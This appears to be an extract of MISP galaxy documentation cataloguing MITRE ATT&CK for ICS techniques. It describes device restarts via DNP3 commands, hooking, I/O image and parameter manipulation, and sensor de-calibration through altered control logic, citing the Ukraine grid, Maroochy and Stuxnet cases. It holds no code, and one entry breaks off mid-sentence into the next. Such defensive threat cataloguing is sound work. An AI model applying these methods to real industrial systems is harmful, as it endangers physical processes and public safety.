Adversaries may forcibly restart or shutdown a device in the ICS environment to disrupt and potentially cause adverse effects on the physical processes it helps to control. Methods of device restart and shutdown exist as built-in, standard functionalities. This can include interactive device web interfaces, CLIs, and network protocol commands, among others. Device restart or shutdown may also occur as a consequence of changing a device into an alternative mode of operation for testing or firmware loading. Unexpected restart or shutdown of control system devices may contribute to impact, by preventing expected response functions from activating and being received in critical states. This can also be a sign of malicious device modification, as many updates require a shutdown in order to take affect. For example, DNP3's function code 0x0D can reset and reconfigure DNP3 outstations by forcing them to perform a complete power cycle. In the 2015 attack on the Ukrainian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries scheduled disconnects for the uninterruptable power supply (UPS) systems so that when power was disconnected from the substations, the devices would shut down and service could not be recovered.

The tag is: misp-galaxy:mitre-ics-techniques="Device Restart/Shutdown"
Drive-by Compromise

Adversaries may gain access to a system during a drive-by compromise, when a user visits a website as part of a regular browsing session. With this technique, the user's web browser is targeted and exploited simply by visiting the compromised website. The adversary may target a specific community, such as trusted third party suppliers or other industry specific groups, which often visit the target website. This kind of targeted attack relies on a common interest, and is known as a strategic web compromise or watering hole attack. The National Cyber Awareness System (NCAS) has issued a Technical Alert (TA) regarding Russian government cyber activity targeting critical infrastructure sectors. Analysis by DHS and FBI has noted two distinct categories of victims in the Dragonfly campaign on the Western energy sector: staging and intended targets. The adversary targeted the less secure networks of staging targets, including trusted third-party suppliers and related peripheral organizations. Initial access to the intended targets used watering hole attacks to target process control, ICS, and critical infrastructure related trade publications and informational websites.

The tag is: misp-galaxy:mitre-ics-techniques="Drive-by Compromise"

Table 6311. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA18-074A">https://www.us-cert.gov/ncas/alerts/TA18-074A</a></td>
</tr>
<tr>
<td><a href="https://www.securityweek.com/allanite-group-targets-ics-networks-electric-utilities-us-uk">https://www.securityweek.com/allanite-group-targets-ics-networks-electric-utilities-us-uk</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA17-293A">https://www.us-cert.gov/ncas/alerts/TA17-293A</a></td>
</tr>
<tr>
<td><a href="https://www.cyberscoop.com/xenotime-ics-cyber-attacks-trisis-dragos/">https://www.cyberscoop.com/xenotime-ics-cyber-attacks-trisis-dragos/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/bad-rabbit-ransomware/82851/">https://securelist.com/bad-rabbit-ransomware/82851/</a></td>
</tr>
</tbody>
</table>

Engineering Workstation Compromise

Adversaries may compromise and gain control of an engineering workstation as an Initial Access technique into the control system environment. Access to an engineering workstation may occur as a result of remote access or by physical means, such as a person with privileged access or infection by removable media. A dual-homed engineering workstation may allow the adversary access into multiple networks. For example, un segregated process control, safety system, or information system networks. An Engineering Workstation is designed as a reliable computing platform that configures, maintains, and diagnoses control system equipment and applications. Compromise of an engineering workstation may provide access to and control of other control system applications and equipment. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system.

The tag is: misp-galaxy:mitre-ics-techniques="Engineering Workstation Compromise"
Execution through API

Adversaries may attempt to leverage Application Program Interfaces (APIs) used for communication between control software and the hardware. Specific functionality is often coded into APIs which can be called by software to engage specific functions on a device or other software, such as Change Program State of a program on a PLC.

The tag is: `misp-galaxy:mitre-ics-techniques="Execution through API"`

Exploit Public-Facing Application

Adversaries may attempt to exploit public-facing applications to leverage weaknesses on Internet-facing computer systems, programs, or assets in order to cause unintended or unexpected behavior. These public-facing applications may include user interfaces, software, data, or commands. In particular, a public-facing application in the IT environment may provide adversaries an interface into the OT environment. ICS-CERT analysis has identified the probable initial infection vector for systems running GE’s Cimplicity HMI with a direct connection to the Internet.

The tag is: `misp-galaxy:mitre-ics-techniques="Exploit Public-Facing Application"`

Exploitation for Evasion

Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to evade detection. Vulnerabilities may exist in software that can be used to disable or circumvent security features. Adversaries may have prior knowledge through Control Device Identification about security...
features implemented on control devices. These device security features will likely be targeted directly for exploitation. There are examples of firmware RAM/ROM consistency checks on control devices being targeted by adversaries to enable the installation of malicious System Firmware.

The tag is: misp-galaxy:mitre-ics-techniques="Exploitation for Evasion"

Table 6315. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.youtube.com/watch?v=f09E75bVwkk&amp;index=3&amp;list=PL8OW01qWXF4qYG19p7An4Vw3N2YZ86aRS&amp;t=0s">https://www.youtube.com/watch?v=f09E75bVwkk&amp;index=3&amp;list=PL8OW01qWXF4qYG19p7An4Vw3N2YZ86aRS&amp;t=0s</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://cwe.mitre.org/data/definitions/119.html">https://cwe.mitre.org/data/definitions/119.html</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.nrc.gov/docs/ML1209/ML120900890.pdf">https://www.nrc.gov/docs/ML1209/ML120900890.pdf</a></td>
<td></td>
</tr>
</tbody>
</table>

Exploitation of Remote Services

Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to enable remote service abuse. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. ICS asset owners and operators have been affected by ransomware (or disruptive malware masquerading as ransomware) migrating from enterprise IT to ICS environments: WannaCry, NotPetya, and BadRabbit. In each of these cases, self-propagating (“wormable”) malware initially infected IT networks, but through exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks, producing significant impacts.

The tag is: misp-galaxy:mitre-ics-techniques="Exploitation of Remote Services"

Table 6316. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1210/">https://attack.mitre.org/techniques/T1210/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/">https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/</a></td>
<td></td>
</tr>
</tbody>
</table>

External Remote Services

Adversaries may leverage external remote services as a point of initial access into your network. These services allow users to connect to internal network resources from external locations. Examples are VPNs, Citrix, and other access mechanisms. Remote service gateways often manage connections and credential authentication for these services. External remote services allow administration of a control system from outside the system. Often, vendors and internal engineering groups have access to external remote services to control system networks via the corporate network. In some cases, this access is enabled directly from the internet. While remote
access enables ease of maintenance when a control system is in a remote area, compromise of remote access solutions is a liability. The adversary may use these services to gain access to and execute attacks against a control system network. Access to valid accounts is often a requirement. As they look for an entry point into the control system network, adversaries may begin searching for existing point-to-point VPN implementations at trusted third party networks or through remote support employee connections where split tunneling is enabled. In the Maroochy Attack, the adversary was able to gain remote computer access to the system over radio. The 2015 attack on the Ukrainian power grid showed the use of existing remote access tools within the environment to access the control system network. The adversary harvested worker credentials, some of them for VPNs the grid workers used to remotely log into the control system networks. The VPNs into these networks appear to have lacked two-factor authentication.

The tag is: misp-galaxy:mitre-ics-techniques="External Remote Services"

Table 6317. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/wiki/Technique/T1133">https://attack.mitre.org/wiki/Technique/T1133</a></td>
</tr>
<tr>
<td><a href="https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf">https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/">https://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/</a></td>
</tr>
<tr>
<td><a href="https://ics-cert.us-cert.gov/alerts/IR-ALERT-H-16-056-01">https://ics-cert.us-cert.gov/alerts/IR-ALERT-H-16-056-01</a></td>
</tr>
<tr>
<td><a href="https://www.cert.org/blog/threat-research/2016/01/ukraine-and-sandworm-team.html">https://www.cert.org/blog/threat-research/2016/01/ukraine-and-sandworm-team.html</a></td>
</tr>
<tr>
<td><a href="https://dragos.com/blog/trisis/TRISIS-01.pdf">https://dragos.com/blog/trisis/TRISIS-01.pdf</a></td>
</tr>
<tr>
<td><a href="https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/">https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/</a></td>
</tr>
<tr>
<td><a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf">https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf</a></td>
</tr>
</tbody>
</table>

Graphical User Interface

Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine. In the 2015 attack on the Ukrainian power grid, the adversary utilized the GUI of HMIs in the SCADA environment to open breakers.

The tag is: misp-galaxy:mitre-ics-techniques="Graphical User Interface"

Table 6318. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf">https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf</a></td>
</tr>
<tr>
<td><a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf">https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf</a></td>
</tr>
</tbody>
</table>

3114
Hooking

Adversaries may hook into application programming interface (API) functions used by processes to redirect calls for persistent means. Windows processes often leverage these API functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. One type of hooking seen in ICS involves redirecting calls to these functions via import address table (IAT) hooking. IAT hooking uses modifications to a process's IAT, where pointers to imported API functions are stored.

The tag is: `misp-galaxy:mitre-ics-techniques="Hooking"`

Table 6319. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1179/">https://attack.mitre.org/techniques/T1179/</a></td>
<td></td>
</tr>
</tbody>
</table>

I/O Image

Adversaries may seek to capture process image values related to the inputs and outputs of a PLC. Within a PLC all input and output states are stored into an I/O image. This image is used by the user program instead of directly interacting with physical I/O.

The tag is: `misp-galaxy:mitre-ics-techniques="I/O Image"`

Table 6320. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

I/O Module Discovery

Adversaries may use input/output (I/O) module discovery to gather key information about a control system device. An I/O module is a device that allows the control system device to either receive or send signals to other devices. These signals can be analog or digital, and may support a number of
different protocols. Devices are often able to use attachable I/O modules to increase the number of inputs and outputs that it can utilize. An adversary with access to a device can use native device functions to enumerate I/O modules that are connected to the device. Information regarding the I/O modules can aid the adversary in understanding related control processes.

The tag is: misp-galaxy:mitre-ics-techniques="I/O Module Discovery"

Table 6321. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf">https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf</a></td>
</tr>
</tbody>
</table>

**Indicator Removal on Host**

Adversaries may attempt to remove indicators of their presence on a system in an effort to cover their tracks. In cases where an adversary may feel detection is imminent, they may try to overwrite, delete, or cover up changes they have made to the device.

The tag is: misp-galaxy:mitre-ics-techniques="Indicator Removal on Host"

Table 6322. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/">https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/</a></td>
</tr>
<tr>
<td><a href="https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware">https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware</a></td>
</tr>
</tbody>
</table>

**Internet Accessible Device**

Adversaries may gain access into industrial environments directly through systems exposed to the internet for remote access rather than through External Remote Services. Minimal protections provided by these devices such as password authentication may be targeted and compromised. In the case of the Bowman dam incident, adversaries leveraged access to the dam control network through a cellular modem. Access to the device was protected by password authentication, although the application was vulnerable to brute forcing.

The tag is: misp-galaxy:mitre-ics-techniques="Internet Accessible Device"

Table 6323. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://time.com/4270728/iran-cyber-attack-dam-fbi/">https://time.com/4270728/iran-cyber-attack-dam-fbi/</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B">https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B</a></td>
</tr>
</tbody>
</table>
Location Identification

Adversaries may perform location identification using device data to inform operations and targeted impact for attacks. Location identification data can come in a number of forms, including geographic location, location relative to other control system devices, time zone, and current time. An adversary may use an embedded global positioning system (GPS) module in a device to figure out the physical coordinates of a device. NIST SP800-82 recommends that devices utilize GPS or another location determining mechanism to attach appropriate timestamps to log entries. While this assists in logging and event tracking, an adversary could use the underlying positioning mechanism to determine the general location of a device. An adversary can also infer the physical location of serially connected devices by using serial connection enumeration. An adversary attempt to attack and cause Impact could potentially affect other control system devices in close proximity. Device local-time and time-zone settings can also provide adversaries a rough indicator of device location, when specific geographic identifiers cannot be determined from the system.

The tag is: misp-galaxy:mitre-ics-techniques="Location Identification"

Table 6324. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf">https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf</a></td>
</tr>
<tr>
<td><a href="https://ics-cert.us-cert.gov/advisories/ICSA-14-178-01">https://ics-cert.us-cert.gov/advisories/ICSA-14-178-01</a></td>
</tr>
</tbody>
</table>

Loss of Availability

Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services. Adversaries may leverage malware to delete or encrypt critical data on HMIs, workstations, or databases.

The tag is: misp-galaxy:mitre-ics-techniques="Loss of Availability"

Table 6325. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://books.google.com/books?id=oXlYBAAAQBAJ&amp;pg=PA249&amp;lpg=PA249&amp;dq=loss+denial+manipulation+of+view&amp;source=bl&amp;ots=dV1uQ8IfUff&amp;sig=ACfU3U2N1wGjhg051D_Ytw6npyEk9xcf4w&amp;hl=en&amp;sa=X&amp;ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAAgQAQ#v=onepage&amp;q=loss%20denial%20manipulation%20view&amp;f=false">https://books.google.com/books?id=oXlYBAAAQBAJ&amp;pg=PA249&amp;lpg=PA249&amp;dq=loss+denial+manipulation+of+view&amp;source=bl&amp;ots=dV1uQ8IfUff&amp;sig=ACfU3U2N1wGjhg051D_Ytw6npyEk9xcf4w&amp;hl=en&amp;sa=X&amp;ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAAgQAQ#v=onepage&amp;q=loss%20denial%20manipulation%20view&amp;f=false</a></td>
</tr>
</tbody>
</table>
**Loss of Control**

Adversaries may seek to achieve a sustained loss of control or a runaway condition in which operators cannot issue any commands even if the malicious interference has subsided.

The tag is: `misp-galaxy:mitre-ics-techniques="Loss of Control"`

**Table 6326. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://books.google.com/books?id=oXIYBAAQBAJ&amp;pg=PA249&amp;lpg=PA249&amp;dq=loss+denial+manipulation+of+view&amp;source=bl&amp;ots=dV1uQ8IufF&amp;sig=ACfU3U2NJwGJhg051D_Ytw6npyEk9xcf4w&amp;hl=en&amp;sa=X&amp;ved=2ahUKEwj2wJ7y4tDIAhVmplkKHSTaDnQQ6AEwAHoECAAgQAQ#v=onepage&amp;q=loss%20denial%20manipulation%20of%20view&amp;f=false">https://books.google.com/books?id=oXIYBAAQBAJ&amp;pg=PA249&amp;lpg=PA249&amp;dq=loss+denial+manipulation+of+view&amp;source=bl&amp;ots=dV1uQ8IufF&amp;sig=ACfU3U2NJwGJhg051D_Ytw6npyEk9xcf4w&amp;hl=en&amp;sa=X&amp;ved=2ahUKEwj2wJ7y4tDIAhVmplkKHSTaDnQQ6AEwAHoECAAgQAQ#v=onepage&amp;q=loss%20denial%20manipulation%20of%20view&amp;f=false</a></td>
</tr>
<tr>
<td><a href="https://www.hydro.com/en/media/on-the-agenda/cyber-attack/">https://www.hydro.com/en/media/on-the-agenda/cyber-attack/</a></td>
</tr>
</tbody>
</table>

**Loss of Productivity and Revenue**

Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments. In some cases, this may result from the postponement and disruption of ICS operations and production as part of a remediation effort. Operations may be brought to a halt and effectively stopped in an effort to contain and properly remove malware or due to the Loss of Safety.

The tag is: `misp-galaxy:mitre-ics-techniques="Loss of Productivity and Revenue"`

**Table 6327. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/">https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/</a></td>
</tr>
<tr>
<td><a href="https://www.hydro.com/en/media/on-the-agenda/cyber-attack/">https://www.hydro.com/en/media/on-the-agenda/cyber-attack/</a></td>
</tr>
<tr>
<td><a href="https://www.bloomberg.com/news/features/2019-12-03/merck-cyberattack-s-1-3-billion-question-was-it-an-act-of-war">https://www.bloomberg.com/news/features/2019-12-03/merck-cyberattack-s-1-3-billion-question-was-it-an-act-of-war</a></td>
</tr>
</tbody>
</table>
Loss of Safety

Adversaries may cause loss of safety whether on purpose or as a consequence of actions taken to accomplish an operation. The loss of safety can describe a physical impact and threat, or the potential for unsafe conditions and activity in terms of control systems environments, devices, or processes. For instance, an adversary may issue commands or influence and possibly inhibit safety mechanisms that allow the injury of and possible loss of life. This can also encompass scenarios resulting in the failure of a safety mechanism or control, that may lead to unsafe and dangerous execution and outcomes of physical processes and related systems. The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill in its 2014 IT Security Report. These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact resulted in damage and unsafe conditions from the uncontrolled shutdown of a blast furnace. A Polish student used a remote controller device to interface with the Lodz city tram system in Poland.567 Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops. The track controlling commands issued may have also resulted in tram collisions, a further risk to those on board and nearby the areas of impact.

The tag is: misp-galaxy:mitre-ics-techniques="Loss of Safety"

Table 6328. Table References

Links


https://books.google.com/books?id=oXIYBAAQBAJ&pg=PA249&lpg=PA249&dq=loss%20denial%20manipulation%20of%20view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTAxDnQQ6AEwAHoECAGQA#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false


https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/

https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html

Loss of View

Adversaries may cause a sustained or permanent loss of view where the ICS equipment will require local, hands-on operator intervention; for instance, a restart or manual operation. By causing a sustained reporting or visibility loss, the adversary can effectively hide the present state of operations. This loss of view can occur without affecting the physical processes themselves.

The tag is: `misp-galaxy:mitre-ics-techniques="Loss of View"`

Table 6329. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://books.google.com/books?id=oXIYBAAAQBAJ&amp;pg=PA249&amp;lpg=PA249&amp;dq=loss+denial+manipulation+of+view&amp;source=bl&amp;ots=dV1uQ8IUff&amp;sig=ACfU3U2N1wGjhg051D_Ytw6npyEk9xcf4w&amp;hl=en&amp;sa=X&amp;ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&amp;q=loss%20denial%20manipulation%20of%20view&amp;f=false">https://books.google.com/books?id=oXIYBAAAQBAJ&amp;pg=PA249&amp;lpg=PA249&amp;dq=loss+denial+manipulation+of+view&amp;source=bl&amp;ots=dV1uQ8IUff&amp;sig=ACfU3U2N1wGjhg051D_Ytw6npyEk9xcf4w&amp;hl=en&amp;sa=X&amp;ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&amp;q=loss%20denial%20manipulation%20of%20view&amp;f=false</a></td>
</tr>
<tr>
<td><a href="https://www.hydro.com/en/media/on-the-agenda/cyber-attack/">https://www.hydro.com/en/media/on-the-agenda/cyber-attack/</a></td>
</tr>
</tbody>
</table>

Man in the Middle

Adversaries with privileged network access may seek to modify network traffic in real time using man-in-the-middle (MITM) attacks. This type of attack allows the adversary to intercept traffic to and/or from a particular device on the network. If a MITM attack is established, then the adversary has the ability to block, log, modify, or inject traffic into the communication stream. There are several ways to accomplish this attack, but some of the most-common are Address Resolution Protocol (ARP) poisoning and the use of a proxy. A MITM attack may allow an adversary to perform the following attacks: Block Reporting Message, Modify Parameter, Unauthorized Command Message, Spoof Reporting Message

The tag is: `misp-galaxy:mitre-ics-techniques="Man in the Middle"`

Table 6330. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Manipulate I/O Image

Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. During the PLC scan cycle, the state of the actual physical inputs is copied to a portion of the PLC memory, commonly called the input image table. When the program is scanned, it examines the input image table to read the state of a physical input. When the logic determines the state of a physical output, it writes to a portion of the PLC memory commonly called the output image table. The output image may also be examined during the program scan. To update the physical outputs, the output image table contents are copied to the physical outputs after the program is scanned.

One of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status.

The tag is: misp-galaxy:mitre-ics-techniques="Manipulate I/O Image"

Table 6331. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Manipulation of Control

Adversaries may manipulate physical process control within the industrial environment. Methods of manipulating control can include changes to set point values, tags, or other parameters. Adversaries may manipulate control systems devices or possibly leverage their own, to communicate with and command physical control processes. The duration of manipulation may be temporary or longer sustained, depending on operator detection. Methods of Manipulation of Control include: Man-in-the-middle, Spoof command message, Changing setpoints

The tag is: misp-galaxy:mitre-ics-techniques="Manipulation of Control"

Table 6332. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
Stuxnet can reprogram a PLC and change critical parameters in such a way that legitimate commands can be overridden or intercepted. In addition, Stuxnet can apply inappropriate command sequences or parameters to cause damage to property.

Masquerading

Adversaries may use masquerading to disguise a malicious application or executable as another file, to avoid operator and engineer suspicion. Possible disguises of these masquerading files can include commonly found programs, expected vendor executables and configuration files, and other commonplace application and naming conventions. By impersonating expected and vendor-relevant files and applications, operators and engineers may not notice the presence of the underlying malicious content and possibly end up running those masquerading as legitimate functions. Applications and other files commonly found on Windows systems or in engineering workstations have been impersonated before. This can be as simple as renaming a file to effectively disguise it in the ICS environment.

The tag is: `misp-galaxy:mitre-ics-techniques="Masquerading"`

Table 6333. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Modify Alarm Settings

Adversaries may modify alarm settings to prevent alerts that may inform operators of their presence or to prevent responses to dangerous and unintended scenarios. Reporting messages are a standard part of data acquisition in control systems. Reporting messages are used as a way to transmit system state information and acknowledgements that specific actions have occurred. These messages provide vital information for the management of a physical process, and keep operators, engineers, and administrators aware of the state of system devices and physical processes. If an adversary is able to change the reporting settings, certain events could be prevented from being reported. This type of modification can also prevent operators or devices from performing actions to keep the system in a safe state. If critical reporting messages cannot trigger these actions then a Impact could occur. In ICS environments, the adversary may have to use Alarm Suppression or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. Methods of suppression often rely on modification of alarm settings, such as modifying in memory code to fixed values or tampering with assembly level instruction code. In the Maroochy Attack, the adversary disabled alarms at four pumping stations. This caused alarms to not be reported to the
Adversaries may place malicious code in a system, which can cause the system to malfunction by modifying its control logic. Control system devices use programming languages (e.g. relay ladder logic) to control physical processes by affecting actuators, which cause machines to operate, based on environment sensor readings. These devices often include the ability to perform remote control logic updates. Program code is normally edited in a vendor-specific Integrated Development Environment (IDE) that relies on proprietary tools and features. These IDEs allow an engineer to perform host target development and may have the ability to run the code on the machine it is programmed for. The IDE will transmit the control logic to the testing device, and will perform the required device-specific functions to apply the changes and make them active. An adversary may attempt to use this host target IDE to modify device control logic. Even though proprietary tools are often used to edit and update control logic, the process can usually be reverse-engineered and reproduced with open-source tools. An adversary can de-calibrate a sensor by removing functions in control logic that account for sensor error. This can be used to change a control process without actually spoofing command messages to a controller or device. It is believed this process happened in the lesser known over-pressurizer attacks build into Stuxnet. Pressure sensors are not perfect at translating pressure into an analog output signal, but their errors can be corrected by calibration. The pressure controller can be told what the “real” pressure is for given analog signals and then automatically linearize the measurement to what would be the “real” pressure. If the linearization is overwritten by malicious code on the S7-417 controller, analog pressure readings will be “corrected” during the attack by the pressure controller, which then interprets all analog pressure readings as perfectly normal pressure no matter how high or low their analog values are. The pressure controller then acts accordingly by never opening the stage exhaust valves. In the meantime, actual pressure keeps rising. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community.
Modify Parameter

Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor. An adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause Impact to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community.

The tag is: misp-galaxy:mitre-ics-techniques="Modify Parameter"

Table 6336. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf">https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf</a></td>
</tr>
</tbody>
</table>

Module Firmware

Adversaries may install malicious or vulnerable firmware onto modular hardware devices. Control system devices often contain modular hardware devices. These devices may have their own set of firmware that is separate from the firmware of the main control system equipment. This technique is similar to System Firmware, but is conducted on other system components that may not have the same capabilities or level of integrity checking. Although it results in a device re-image, malicious device firmware may provide persistent access to remaining devices. An easy point of access for an adversary is the Ethernet card, which may have its own CPU, RAM, and operating system. The adversary may attack and likely exploit the computer on an Ethernet card. Exploitation of the Ethernet card computer may enable the adversary to accomplish additional attacks, such as the
Delayed Attack - The adversary may stage an attack in advance and choose when to launch it, such as at a particularly damaging time. Brick the Ethernet Card - Malicious firmware may be programmed to result in an Ethernet card failure, requiring a factory return. Random Attack or Failure - The adversary may load malicious firmware onto multiple field devices. Execution of an attack and the time it occurs is generated by a pseudo-random number generator. A Field Device Worm - The adversary may choose to identify all field devices of the same model, with the end goal of performing a device-wide compromise. Attack Other Cards on the Field Device - Although it is not the most important module in a field device, the Ethernet card is most accessible to the adversary and malware. Compromise of the Ethernet card may provide a more direct route to compromising other modules, such as the CPU module.

The tag is: `misp-galaxy:mitre-ics-techniques="Module Firmware"`

**Table 6337. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.researchgate.net/publication/228849043_Leveraging_ethernet_card_vulnerabilities_in_field_devices">https://www.researchgate.net/publication/228849043_Leveraging_ethernet_card_vulnerabilities_in_field_devices</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf">https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf</a></td>
<td></td>
</tr>
</tbody>
</table>

**Monitor Process State**

Adversaries may gather information about the physical process state. This information may be used to gain more information about the process itself or used as a trigger for malicious actions. The sources of process state information may vary such as, OPC tags, historian data, specific PLC block information, or network traffic.

The tag is: `misp-galaxy:mitre-ics-techniques="Monitor Process State"`

**Table 6338. Table References**

<table>
